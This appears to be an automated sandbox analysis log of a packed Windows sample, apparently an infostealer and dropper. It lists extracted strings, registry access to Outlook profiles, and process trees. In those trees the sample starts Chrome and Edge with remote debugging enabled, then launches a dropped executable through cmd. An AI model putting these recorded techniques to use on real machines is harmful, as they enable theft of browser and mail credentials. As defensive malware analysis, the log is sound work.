Source: file.exe, 00000000.00000002.2430151038.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2412575832.000000001DB2C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431219904.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2430151038.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2412575832.000000001DB2C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431219904.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2430151038.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2412575832.000000001DB2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2430151038.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2412575832.000000001DB2C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431219904.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2199427889.000000001DA25000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2277989131.000000001DA19000.00000004.00000020.00020000.00000000.sdmp, AEBAFBGIDHCBFHIECFCB.0.dr, GHDHDGHJEBGIDGDGIJJK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2430151038.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2412575832.000000001DB2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2430151038.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2412575832.000000001DB2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 36%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2136,i,12775639409144419553,11993991066039672041,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2240,i,7192631829384180854,10696300089075255857,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4440 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7404 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJJJJKEHCAK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJJJJKEHCAK.exe "C:\Users\user\DocumentsJJJJKEHCAK.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7404 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJJJJKEHCAK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2136,i,12775639409144419553,11993991066039672041,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7404 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2240,i,7192631829384180854,10696300089075255857,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2240,i,7192631829384180854,10696300089075255857,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4440 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7404 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJJJJKEHCAK.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7404 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJJJJKEHCAK.exe "C:\Users\user\DocumentsJJJJKEHCAK.exe"
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1793024 > 1048576

Source: file.exe

Static PE information: Raw size of bwfmakny is bigger than: 0x100000 < 0x19c000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2431219904.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2431219904.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.db0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;bwfmakny:EW;nmluqbel:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;bwfmakny:EW;nmluqbel:EW;.taggant:EW;
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Unpacked PE file: 20.2.DocumentsJJJJKEHCAK.exe.10000.0.unpack :EW;.rsrc:W;.idata :W;zkpqwmrk:EW;gfzteylm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;zkpqwmrk:EW;gfzteylm:EW;.taggant:EW;
